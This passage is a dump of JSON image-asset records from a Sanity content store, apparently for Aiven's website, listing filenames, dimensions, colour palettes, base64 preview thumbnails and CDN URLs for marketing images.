6","size":108455,"uploadId":"Dhb88jkB7p4zI0cjmW1erfYT7ldgJLWd","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf4d56df0a4b20c13b8fa9aa4987626eedf20536-1567x844.png"} {"_createdAt":"2023-09-06T12:05:52Z","_id":"image-e8242e12b2d74d223b737eaf04681c27d066e6b5-1250x1250-png","_rev":"7lO65z9OheRFnytB4Yc52O","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T12:06:23Z","altText":"Aiven hoodie and beanie","assetId":"e8242e12b2d74d223b737eaf04681c27d066e6b5","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1250,"width":1250},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503c30","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1451","foreground":"#fff","population":11.87,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1451","foreground":"#fff","population":11.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c9ba","foreground":"#000","population":0.32,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb46c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66698e","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc943b","foreground":"#000","population":0.53,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Aiven-hoodie-and-beanie.png","path":"images/sczeoy4w/production/e8242e12b2d74d223b737eaf04681c27d066e6b5-1250x1250.png","sha1hash":"e8242e12b2d74d223b737eaf04681c27d066e6b5","size":965421,"title":null,"uploadId":"sEywi8DLFKGOKfUs9U1BKxiZICGxsiVt","url":"https://cdn.sanity.io/images/sczeoy4w/production/e8242e12b2d74d223b737eaf04681c27d066e6b5-1250x1250.png"} {"_createdAt":"2023-08-21T09:51:02Z","_id":"image-56eba29d743992bd2f26a855cf1f1f19cc86053c-1074x1198-png","_rev":"XZCFBQN7u3p4u4Zd9LvUcP","_type":"sanity.imageAsset","_updatedAt":"2023-08-21T09:51:02Z","assetId":"56eba29d743992bd2f26a855cf1f1f19cc86053c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e%N11PR*~pxZ%LkBoJjbWrju?bofIUWBRkogWCWooLjY-;oKM{a}WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8964941569282137,"height":1198,"width":1074},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAABYlAAAWJQFJUiTwAAAELElEQVQ4ja2V+0+TVxiA+RNMdmFgoS3Q2nIRJ4phyE0FxlVRZ6BQkAECJijTIMhlq8wLCiI6mTOKEcw270GnsDmdbCRqtqzcnFFBQAXkXttSaNmSZ/k6tugsy37wh+e857w535Nzzvt957ObMk9jtvyOEF8HdoLsdTA1szC7F+3P9SYe9QzSfreH1vZuKy1tj6xoWwW6+FWgpdOa6+kdxGCcfGmHLwkfdPZxsLqe9I1VpGRUsD5jPynpFSQLpJWjTisnOb2cpNR91jk1Jxt52jf8qvDvxO2f71snS9wScZYmIHJNwkGqwtEl0RoFnNzUvCNRIVWksCX/CA8ePrYtnJyapvnWPdbG78JJnIBEmojINRl7cRKOUkGShL1YyKXwtpMKkVsyuXmf8+DhEyyzCZuaf2NNQhkuinTkHpnIPLNx9cjCzfMvxPMycHRJ5Y25aiSKdPIKj9PZ1Ydl2qbQwo2mu8TFl+O5aAt+wYX4hxTxXkghS5cXEbCimIV+eTjJMpnjkIJUmUVByUm6uvtnF177oYOV6/bj47+dsOhdvB+7h/DY3dYYsXIPQaEaZF65vOm8Afn8XEpKv6K755ltoWnSQuP37cR8UImPfwmhUWWExewlNLqMFVFlhETsZkmQBo9FRSh9dhAQVkl5VQOPnwzbFhpNZq40thG5+gDuPsUsDihlcWApvoGl1r73khJkXvks8CsjOv4imR81UXe6jf5n47arbDBOUX+lldDYKkTyAsTK7f/g4p6Pt1cOwQtTiQopIF59ns2Fdzhbf59nQ88xW1749IRGKLveMMn5Sy0sjz6Eg1shjjMIfYl8G2v9VByJ82V37DJCAzYTvuoQR0/8yICtFQpnoNNPcvqClpCoaubKNYjmaRDJP8ZRVoJMWUD2stVcT3HlWJwHvso4vHy3UnnoMv0Do6+eoZAY15n48qyW4MgvECl24qTYyVxZMfbSrUhkucT4qigMDSQjKBovz834Bldw+OhNBgZ1toVj4yZqv9YSFHEMZ/d9OLvvxVFWxFvOWdiLNyBxSWOeWyIK5SYUPtWsiKvneF0bQ8MG28KRsQlqTmkJCK9B7HEAiWclLl57UPpokC8owl6azRyHJKTyTQQFHGC9+gynz7QwPGq0LRweneBYrZbAiFqk8z/D1fswC5aeICbhKjHxF5B5b2OO/TreVarJj1RxKieL25e+YXxMj3n6Dxtb1k1yufEhOXnfskZ9npWqcySkNZCn6SDvEy3hqw6i8N5IbOCHnEsNpPPTZTy5UYdeJ7w2/xIKZZ8wWeh9+pw7v/RxvambhmtdXL3WzY2fhvju5gA1dbcoq7jIiapa7p3UMFq/g5GOZozGidnvQwHT1LRVbpwwYzCa0Rst6PRmhkYM9PWPMdg/iGGgl4nBXow6nfUO+E/h//6HzGAdv/Dcn7TqLnjZIjskAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b4270","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16206f","foreground":"#fff","population":5.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#16206f","foreground":"#fff","population":5.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aabcc6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b94d8","foreground":"#000","population":2.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87e5e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f17e10","foreground":"#fff","population":0.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"IDC_White_paper_mockup.png","path":"images/sczeoy4w/production/56eba29d743992bd2f26a855cf1f1f19cc86053c-1074x1198.png","sha1hash":"56eba29d743992bd2f26a855cf1f1f19cc86053c","size":529033,"uploadId":"qYiiWdAXPdFNjzEO7rYhttgIo1SdpAeU","url":"https://cdn.sanity.io/images/sczeoy4w/production/56eba29d743992bd2f26a855cf1f1f19cc86053c-1074x1198.png"} {"_createdAt":"2024-09-23T18:55:59Z","_id":"image-8041adb9351f9c5daa54696d54156dce6a656ce4-1422x1006-png","_rev":"qobFP6o3d5Cfo6v5i217iW","_type":"sanity.imageAsset","_updatedAt":"2024-09-23T18:56:08Z","altText":null,"assetId":"8041adb9351f9c5daa54696d54156dce6a656ce4","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VBRCxrS5i^Diu6qGtRrrMxyYqGS4VY$gpc:iIWRPw[TJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4135188866799204,"height":1006,"width":1422},"exif":{"ColorSpace":1,"PixelXDimension":1422,"PixelYDimension":1006,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACm0lEQVQokUWR2U8UQRDG548m4JMH8VFF1JAgRiS4rBeCohBWEcKlLgHBhQX2YmFn2Tn6qr6mu2dMzCwYk++hqlO/VH39ebz6K1kYc4VbrnjHzdwxs/dkuUQjTGTGIOG1SvJ53M3czgcKt1zhtnt50xXv6vX3EIYequz5xYeN0YH6o8HGo6H2s+F4bZ52fQKGME1OKsHsWOvJUH10oD46cPZ4kEzcMDPDcmOOhZHnt/zVucXpkadT98enRyYWnheaG9/ERZNSicH2OkG5tFp8Mvni/vjUg6fvxiaPPr7hO1/grEao9i5D2NmrLZbKS6Wd5a97W9uVbqOpUQigMaQhUr+r58sru59LO0tfd1fXD5ondRH1GEjCMy8mMghRt9sLI4QwpYxrpUySgLAYHGJJGFO/G172UBiRCFHGQArJeEJ46iEiMWGEECllkiTOuSzLrMtAGEJljETrPN7/3d49ODs68S9DxkFzrgnY680xohhjwYVS6oo3NgVM6VkjaLV/lE+L7zamXq7Mf/p5XOtyrqU0FCyBNIfzzZRKKZXSUmmltNIWwohV9+La6fFxe/P74eZ25ddBI4yoc6lzGZe5KS/Cyu/Rdic676DLgGEigSnghhBJgghHOIxIL4gwplxIY0yWZWmaCWURWK8b8O1ybW7h5+yHH6sb1fYFAqYYt4Q7DA6DiTGLEeJcKK21Towx1lqhLAbr+T26vnX4+u3aq7drK2v7HT9OEquSlP6DEQaEMAD0fSljjHPuGg5j3r7ondba9WbH9wMGwlqnjaM8d4WZiTHEcT9D4FIqY6yxDoTJz46JQkRgKiloxjUIw6VlechXsL0aIEwy0MATLk2eIiT5h2FIMXMEUgwpgZTwvq6LrK/rR9rX/1b8+Qtys+bRIGYHAQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31365e","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1146","foreground":"#fff","population":3.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6530b","foreground":"#fff","population":3.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4b6","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc474","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8855a","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6530b","foreground":"#fff","population":3.94,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"BYOC draft","path":"images/sczeoy4w/production/8041adb9351f9c5daa54696d54156dce6a656ce4-1422x1006.png","sha1hash":"8041adb9351f9c5daa54696d54156dce6a656ce4","size":88726,"title":null,"uploadId":"M7t8sGpCcWbjFU78Ubhod25qMDOGfxEh","url":"https://cdn.sanity.io/images/sczeoy4w/production/8041adb9351f9c5daa54696d54156dce6a656ce4-1422x1006.png"} {"_createdAt":"2023-10-27T09:14:37Z","_id":"image-afb0db991aeea2142acb5bbfa00e4dbd9be71702-6000x3375-png","_rev":"K4OjmPZwqkJMmxhvoZ50vD","_type":"sanity.imageAsset","_updatedAt":"2023-10-27T09:14:37Z","assetId":"afb0db991aeea2142acb5bbfa00e4dbd9be71702","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6Al^~0v}3?100?7tBFy:}AfDNNfkZ#NTg","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAAC1klEQVQokW3RSVOaBwDGcb5Al0hAZYu+ILIIvEIMi/IClcWw2AKiUYgNKDHagBrFBSWuYFK6JmOny6TTTNtTb23P7aSH9NRpD50e+1X+HfSW6Rf4zbPIunqy6PR5jLZFzMMrWJxVhlzrDNjWUAn3UV6r0N2/To9QQzOwg+Rc4YPJEC+Ker6eMlMKeJgOhhn3lTENt5EpNDNYxLu4pXU8gU08gW28oT0c7m10g6v0CmuoBzZQGbbQGbeJ3yjxVdbDy6KK57lrHOQkTorTFBKLWJ0nyJTaWZzeCpHkPpFkg0jykGjqBH/4EIe7jsPdwDV6jNl1SL+5TvD6e7TSab4v+DhNOWnOJ/jsQZHi5DxWRx2ZUjfLyNgqifQh8fQRicwp8XSL2GSL8fgZ0VSbm+lP8EfbWK6fMOI9427+nMbSE5bS96lksuwUMqSDUwzZdy/BTsJocp9Y6oDY5NFFwmiqSWiiSSB2Ruhmm9HwY0TfI8ZizyhVfqfW+Jul8rfMJu+QC08Q8d7CLh50NryF1XmP0dAmUmQHKbKHFHmIO7CPeXgLwVpDb9tFGNrD4DjGP/GchbU/qB39S7X6M8W3l5kbTxDzLWAVW8je7MnR21+gz1RCsJQZsK1gtFcRLFV6L16uXrzcLWyiNTXwhJ9xe/klq/V/aFR+4Dyb4/PYCCv+OZzDZ8heV2SRd0+hUM+g0Oa5qp3nqraEQldGoVtG2XcJ9nTAwQYjwS+YXviVext/0Vr+hhdTEn/GtXwUjON3HSPrUqYRNBlMxgIGyyIqoYRcXUSuWXwFrKE27mH3fkp85ify5d/Yzp/zYyrELzELx1IWn/P0EuzXZBjsgNYyKv0Ccs3/gypDHb2thSvwJdLEd7zz1vs8GHuXrdE5Mjc2sIkfIntNkeENZZbOlldUs1xR3aZLfQe55pXK+hq9hl00gw/pszbR29qYbI8R7U1E8RFm8WP0jqf8B4R3oc4AYRxvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#311c1a","foreground":"#fff","population":4.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041e79","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8673d","foreground":"#fff","population":9.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0e2ee","foreground":"#000","population":3.67,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c78d6","foreground":"#fff","population":7.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5ca9","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8673d","foreground":"#fff","population":9.77,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6.png","path":"images/sczeoy4w/production/afb0db991aeea2142acb5bbfa00e4dbd9be71702-6000x3375.png","sha1hash":"afb0db991aeea2142acb5bbfa00e4dbd9be71702","size":2776299,"uploadId":"eXp1jZtNMQHbhxKmtrSslF7XrCU1zlta","url":"https://cdn.sanity.io/images/sczeoy4w/production/afb0db991aeea2142acb5bbfa00e4dbd9be71702-6000x3375.png"} {"_createdAt":"2023-08-31T14:44:04Z","_id":"image-e51ac41f2451076ddc5478ad78da71afcd5f2991-199x374-png","_rev":"TiQ1DjjwIo5pwieuMQ9ZFJ","_type":"sanity.imageAsset","_updatedAt":"2023-08-31T14:44:04Z","assetId":"e51ac41f2451076ddc5478ad78da71afcd5f2991","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"c7R:EB#n~WvyrX-pv{n3xH=xv~$*n5rsxF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.5320855614973262,"height":374,"width":199},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAmCAIAAABLWSz8AAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEDElEQVRIiX1Vu27jRhTVn6dIkzJFmhQptkiTxlh4IRt2E3/AArYly44lihLJEef9ftGyyGDItdayZQ8OBncudGaG5565GnVd1+12nfUdV53x3fOubdvn5+emabbb7W6Xlm3b7vrRHY5RYirR3Vx3l/923yfPTGilyrKcz+dFUQAAyn5UVSWE2G63h+Rt061uu3/+6H77pf3rS7id3d/djcfj09PTy8vL8Xh8cnLy7du3i4uLyWRijGnb9jU5dqvv3env3Z+/tn9/cdc3k+ub8dnZxcXF1dXV+fn5169fz87Orq6uZrPZW3L7vG01astJu7jZLR+fCOGMAQAghAihsiyzLMvzHADAOW+aZq9C27ajJjZNCDH4mOYQQ4yxGeB9MMYppZXSWlvnfEyj2Y+Rtd4Yb4zT2mrtdAr26DPaGTPAW3uAkfeNMZ4zgRBGiCBEE3CaMaaUCq2d981RjEJ4MsZBiFb5Os9Xy3y9XK1X63K9roqirKoNF8r7JoSn90hkrW1Vgfk8e3xczOfZIssXi3yxWGZZnmX5ugAQEinN+y0SWSmTL1fT6f3t7d3ddHb/8DidPkwn97PZw910Nr17+O8xQ5g5F4+QrQ2U8LrGmw2CNUaI1jWpNxhCXNcJCNHjJ/vh61307ocMbghelp9gdLAOTQjHtenzzYADtfcHOhcPkTL+bTKmZP8JiexclNJwrhlXjElKBSGcUkGppESwFAhCBCa8965UfeV/CiaE7mmSMkkIg8knDCGGEcXJOck8KYkoIVypV2TnGi48F96YYExQyv2ATJDS9svBxd7a4F5kH+ocs1xnuWYsMObr2mw2ZgP6eWMAMHVtGPXWHjOJkPHhUU5nAiKHsV0XarkU+VKsVnK1kvlKFoVEyBpzjGxtg4mvoZUqGtMoFQQPQgSpopRRqqBUNLbxR73tfSOlZUxp7awNWjuljFJ2/yRTRltjvHMHh/9Qu65JUdZDnQBAZQGqcgOqGgBYAVhVdVXVENH+eR6SjQkIpcJoZYXQCDFYEwRJqlMqGIWQIEgplcb4I9dOBegfTW+1I5bauyq8IQ+IP7PbGH9iWL7MT5+RX23xdPjrt8ywv7ZzMXVCG+wLhniwVN/uPri2c0FITTDDmBGa3I/7OAGxweSUvVUrvH5VtH9JjKdqpTgt00Y9BOfa2vChSThXpm/RSlmZTGKs9c6+qH2sgY56k0QIWVUhKQznqq4xABAhorQdZBvU/pBMiICIKWkFVzUkPZkqZT/q2OH1tY3x2rjhhoO8zoU3Tv7wZIw57I9SvUOl1FIaIe17kd7/Y7iiqJd5lRoVZlW5qUpQFKDaYCGt908xfnZyYFwRKqS0Upq+43FMUm31u9oet+e+Pw8NPKFvyZ+Q/wfeWGC9W5W+SwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3d3d","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d2c07","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3d3d3d","foreground":"#fff","population":0.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5a4d7","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69c67","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b6cb0","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f25c18","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e51ac41f2451076ddc5478ad78da71afcd5f2991-199x374.png","path":"images/sczeoy4w/production/e51ac41f2451076ddc5478ad78da71afcd5f2991-199x374.png","sha1hash":"e51ac41f2451076ddc5478ad78da71afcd5f2991","size":15502,"uploadId":"N4GNF0EjtZA9t1epXob34H9QDCFZ6etX","url":"https://cdn.sanity.io/images/sczeoy4w/production/e51ac41f2451076ddc5478ad78da71afcd5f2991-199x374.png"} {"_createdAt":"2023-12-06T17:49:18Z","_id":"image-4a521c154180920af02478b26937bd67f14e6c16-1792x998-png","_rev":"2QvLnXP36WAnQ13A3vVUEA","_type":"sanity.imageAsset","_updatedAt":"2024-03-15T14:03:33Z","assetId":"4a521c154180920af02478b26937bd67f14e6c16","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGOzc9kW-=t8xv00V@%NV@x]?wbbn+bcaK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7955911823647295,"height":998,"width":1792},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACrklEQVQokUWQ/U9TZxzF+1duymaMyxZfMOgSEzMXl0y3HxRNfEvIonaBTDEOXASUgVqhtvaF0kKBtrfU3t7etvf9pUUEpPd+zL1o/OE83zznOc/5npyIrEFT9SjVXFK5Ool0hXiqRDJbJZuvk8lvkl4WSOUEEhmBN2mBeOpgLhdl6vIWiunRMXxkzSfSVH0kxUMQt8jkRWLxVV4tFlhMrpNIl4m/XScWL/AqRJEXr1d4Pr/EXKxAblWm0d5GMftfDQXxA4spmf+erTH+b5K/R+d4+HiB+ViRqdkc0bF5/ro3zd37M4w+jDE1m2fiaZro2EseT7zl2f8rzL+usLym0+j0iWTyKn8MP+X7o8McGbjEwOFLnPslyvhkhuu3Zxg4eoVD31zk8LcXOXH6DtF/Eozcj/Hj8Rsc++53fjhymZ9O3iL6IEmtuUMkv6Zxa2SWoTO3GRq8zuDpm/x5dYKZuTXujS4w9PMIJ49f5dSJYX79bYzJ6Tzjk1nOX4hydvBaiHPn7/LoSZZGZ4eIrO5SqupkslXib4ok0xWKpQ71Zo/yphneX7xcIrZQILfSoCZ12RQdcgWRRNBzcp2lvMhmw0W1+kR0x8d095Fkg42KSF1SMZ09rC7o9kfqkk5xo0ZZkGhrPcyuh9XzUIwtqu/aVN+1UPQepuuh2T6R4FDNnfCxUBQoVyU62nsMJ/j0mV+tUFyv0ZAtdHsfw+nTUtxQWxYk5I6LZu3TNvwgoRcaNmSTmqggNnUU/T2600ezPiK1LMrVZpikrfbQ7X6YxnB2aasuLcXBsHfRbY+WGhr64Ubd3kO3dzGcvbCCYFGQMuCDxIq+HabTbR/D9bF7Pna3H8LpeRidbZSNNhHV8kNRiKDP7gE0xw87OVgYGPsEWsU8mF940/UxrD5GScKamuYTtkL153TxAUEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b4452","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#11257a","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9becf","foreground":"#000","population":2.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9becf","foreground":"#000","population":2.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc649c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7478","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e47828","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Benefits-Tiered-Storage-in-Kafka-Visual.png","path":"images/sczeoy4w/production/4a521c154180920af02478b26937bd67f14e6c16-1792x998.png","sha1hash":"4a521c154180920af02478b26937bd67f14e6c16","size":275277,"uploadId":"mskz43i2sPgAP75YYrQqVQfdBxpHyQsI","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a521c154180920af02478b26937bd67f14e6c16-1792x998.png"} {"_createdAt":"2023-12-07T07:12:29Z","_id":"image-b8df8837b08d8039280542db8f6c1fce5a790bbc-1500x1007-png","_rev":"lhvtNBOlLYH5KiQFQCZuwR","_type":"sanity.imageAsset","_updatedAt":"2024-02-01T10:29:55Z","altText":null,"assetId":"b8df8837b08d8039280542db8f6c1fce5a790bbc","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTP?RBKPDOpJDOlVVst6xaRj4TjYyEw^bwlAnOnNoeV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4895729890764648,"height":1007,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADzElEQVQ4jT2RW0xcVRSGT30wBuHFp4rxUo36IgYTE218KaI2ilBNvNS30sEXGSgFpnQ6NGpbRKktsUKblEuVe8JlWgQqtsVCKTCMc7hYpsAMw1CmAg5zrvvsfc6ZffYyhwcfvqyn9a//Xz8XT6gpd8an95yvrd9bUnb83cLi8v3OI67/KSwuf6/oaMX+Ulfl20VHK974beD6Z+vrsR5BEMIIoVVKacSyrH7TNN9Z+du/i9vYElPdnm/35hw4eCrrg4PdWbmHrmblHfba7MvL9+7Lzfdmf1TgzfnC2fupo6Krurb5+uxcMCoIAsGaplNKdctiEya1cgKbsIsLRWKphc6SnK+cZUNVZy8qPzf16BeaeslPjT071F3xkkst/aShY4j80n0DD9706cuhNUsURNA0DUzTBGqQOTMR/Vyqy36UW7i/kupyVeTV1V0cCfBzyc2tBKzHtiASjcGD2CZsxUXYFhRIiCoINoIMoiCBIitM0zSmEwLmdvSBOdVw0vz6iXRu4X447bjbk9fc1HwrElkxqGEClhRLim8zpCgsqessSXRmEsIsTFhSVpgqSUxVVYYxZjrBYMRm1eSQ+1da+XgGF1yMpLndngONjU23QqGwaRADNFFhYjwBsiQBQRposgqqrIKuqKALEsiCCIqiALEPGQYkYzOEDpR3UU/Kaxw/s5BSVFzy/uXLDX+EwmHD/glGGlMkCVRZBoyQvQiEmKDbYB2QqoLtkOg6o0kTrIezmA64OqknJZMLLy2nVVV6cjuaGm+uLi8bhmEA1hBTZVtQAg2pgHUDsJ4EQmwMUBQVZFkGQgijNAnWP3O2oO0wk9tMJDL40T/P8MODSxvhZUoIBoLxzv+QHQtrzDRMMJMUaNLaadWOK0kiYEIYRgrI94ax1pHfRU88lsltrK58HJ2fHVmZvEvW781bYvxfpsgyk0SRyZLENBU